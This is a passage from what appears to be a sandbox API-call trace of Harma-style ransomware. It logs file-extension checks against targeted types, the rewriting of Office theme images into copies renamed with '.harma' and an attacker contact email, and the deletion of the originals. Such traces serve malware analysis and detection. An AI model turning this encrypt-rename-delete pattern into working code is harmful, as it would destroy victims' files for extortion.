Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.840] lstrlenW (lpString=".doc") returned 4 [0060.840] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.840] lstrlenW (lpString=".docx") returned 5 [0060.840] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.840] lstrlenW (lpString=".pdf") returned 4 [0060.840] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.840] lstrlenW (lpString=".xls") returned 4 [0060.840] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.840] lstrlenW (lpString=".xlsx") returned 5 [0060.840] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.840] lstrlenW (lpString=".ppt") returned 4 [0060.840] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.840] lstrlenW (lpString=".zip") returned 4 [0060.840] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.840] lstrlenW (lpString=".rar") returned 4 [0060.840] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.840] lstrlenW (lpString=".bz2") returned 4 [0060.840] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.840] lstrlenW (lpString=".7z") returned 3 [0060.840] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.840] lstrlenW (lpString=".dbf") returned 4 [0060.840] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.840] lstrlenW (lpString=".1cd") returned 4 [0060.840] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.840] lstrlenW (lpString=".jpg") returned 4 [0060.840] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.841] lstrlenW (lpString=".doc") returned 4 [0060.841] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.841] lstrlenW (lpString=".docx") returned 5 [0060.841] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.841] lstrlenW (lpString=".pdf") returned 4 [0060.841] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.841] lstrlenW (lpString=".xls") returned 4 [0060.841] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.841] lstrlenW (lpString=".xlsx") returned 5 [0060.841] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.841] lstrlenW (lpString=".ppt") returned 4 [0060.841] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.841] lstrlenW (lpString=".zip") returned 4 [0060.841] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.841] lstrlenW (lpString=".rar") returned 4 [0060.841] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.841] lstrlenW (lpString=".bz2") returned 4 [0060.841] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.841] lstrlenW (lpString=".7z") returned 3 [0060.841] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.841] lstrlenW (lpString=".dbf") returned 4 [0060.841] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.841] lstrlenW (lpString=".1cd") returned 4 [0060.841] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0060.841] lstrlenW (lpString=".jpg") returned 4 [0060.841] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.842] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.842] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.842] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=29305) returned 1 [0060.842] CloseHandle (hObject=0x164) returned 1 [0060.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0060.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.842] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.842] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.843] GetLastError () returned 0x0 [0060.843] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x7279, lpOverlapped=0x0) returned 1 [0061.918] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0061.922] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.922] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.923] SetEndOfFile (hFile=0x1d0) returned 1 [0061.923] CloseHandle (hObject=0x1d0) returned 1 [0061.923] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.923] SetEndOfFile (hFile=0x164) returned 1 [0061.924] CloseHandle (hObject=0x164) returned 1 [0061.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0061.924] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.924] lstrlenW (lpString=".doc") returned 4 [0061.924] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0061.924] lstrlenW (lpString=".docx") returned 5 [0061.925] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0061.925] lstrlenW (lpString=".pdf") returned 4 [0061.925] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0061.925] lstrlenW (lpString=".xls") returned 4 [0061.925] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0061.925] lstrlenW (lpString=".xlsx") returned 5 [0061.925] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0061.925] lstrlenW (lpString=".ppt") returned 4 [0061.925] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.925] lstrlenW (lpString=".zip") returned 4 [0061.925] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0061.925] lstrlenW (lpString=".rar") returned 4 [0061.925] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0061.925] lstrlenW (lpString=".bz2") returned 4 [0061.925] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0061.925] lstrlenW (lpString=".7z") returned 3 [0061.925] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.925] lstrlenW (lpString=".dbf") returned 4 [0061.925] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.925] lstrlenW (lpString=".1cd") returned 4 [0061.925] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.925] lstrlenW (lpString=".jpg") returned 4 [0061.925] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.925] lstrlenW (lpString=".doc") returned 4 [0061.925] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0061.925] lstrlenW (lpString=".docx") returned 5 [0061.926] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0061.926] lstrlenW (lpString=".pdf") returned 4 [0061.926] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0061.926] lstrlenW (lpString=".xls") returned 4 [0061.926] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0061.926] lstrlenW (lpString=".xlsx") returned 5 [0061.926] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0061.926] lstrlenW (lpString=".ppt") returned 4 [0061.926] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0061.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.926] lstrlenW (lpString=".zip") returned 4 [0061.926] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0061.926] lstrlenW (lpString=".rar") returned 4 [0061.926] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0061.926] lstrlenW (lpString=".bz2") returned 4 [0061.926] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0061.926] lstrlenW (lpString=".7z") returned 3 [0061.926] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0061.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.926] lstrlenW (lpString=".dbf") returned 4 [0061.926] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0061.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.926] lstrlenW (lpString=".1cd") returned 4 [0061.926] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0061.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0061.926] lstrlenW (lpString=".jpg") returned 4 [0061.926] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0061.926] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0061.927] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0061.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.342] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=19525) returned 1 [0062.342] CloseHandle (hObject=0x1fc) returned 1 [0062.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0062.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.351] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.351] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.351] GetLastError () returned 0x0 [0062.351] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x4c45, lpOverlapped=0x0) returned 1 [0062.353] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0062.354] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.354] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.355] SetEndOfFile (hFile=0x1fc) returned 1 [0062.355] CloseHandle (hObject=0x1fc) returned 1 [0062.355] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.355] SetEndOfFile (hFile=0x1f4) returned 1 [0062.356] CloseHandle (hObject=0x1f4) returned 1 [0062.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.356] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0062.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.357] lstrlenW (lpString=".doc") returned 4 [0062.357] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.357] lstrlenW (lpString=".docx") returned 5 [0062.357] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.357] lstrlenW (lpString=".pdf") returned 4 [0062.357] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.357] lstrlenW (lpString=".xls") returned 4 [0062.357] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.357] lstrlenW (lpString=".xlsx") returned 5 [0062.357] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.357] lstrlenW (lpString=".ppt") returned 4 [0062.357] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.357] lstrlenW (lpString=".zip") returned 4 [0062.357] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.357] lstrlenW (lpString=".rar") returned 4 [0062.357] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.357] lstrlenW (lpString=".bz2") returned 4 [0062.357] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.357] lstrlenW (lpString=".7z") returned 3 [0062.357] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.357] lstrlenW (lpString=".dbf") returned 4 [0062.357] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.358] lstrlenW (lpString=".1cd") returned 4 [0062.358] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.358] lstrlenW (lpString=".jpg") returned 4 [0062.358] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.358] lstrlenW (lpString=".doc") returned 4 [0062.358] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.358] lstrlenW (lpString=".docx") returned 5 [0062.358] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.358] lstrlenW (lpString=".pdf") returned 4 [0062.358] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.358] lstrlenW (lpString=".xls") returned 4 [0062.358] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.358] lstrlenW (lpString=".xlsx") returned 5 [0062.358] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.358] lstrlenW (lpString=".ppt") returned 4 [0062.358] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.358] lstrlenW (lpString=".zip") returned 4 [0062.358] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.359] lstrlenW (lpString=".rar") returned 4 [0062.359] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.359] lstrlenW (lpString=".bz2") returned 4 [0062.359] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.359] lstrlenW (lpString=".7z") returned 3 [0062.359] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.359] lstrlenW (lpString=".dbf") returned 4 [0062.359] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.359] lstrlenW (lpString=".1cd") returned 4 [0062.359] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0062.359] lstrlenW (lpString=".jpg") returned 4 [0062.359] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.359] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0062.359] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0062.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.360] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=18380) returned 1 [0062.360] CloseHandle (hObject=0x1f4) returned 1 [0062.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0062.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.360] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.360] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.361] GetLastError () returned 0x0 [0062.361] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0062.366] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0062.367] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.367] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.367] SetEndOfFile (hFile=0x1fc) returned 1 [0062.368] CloseHandle (hObject=0x1fc) returned 1 [0062.368] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.368] SetEndOfFile (hFile=0x1f4) returned 1 [0062.369] CloseHandle (hObject=0x1f4) returned 1 [0062.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.369] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0062.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 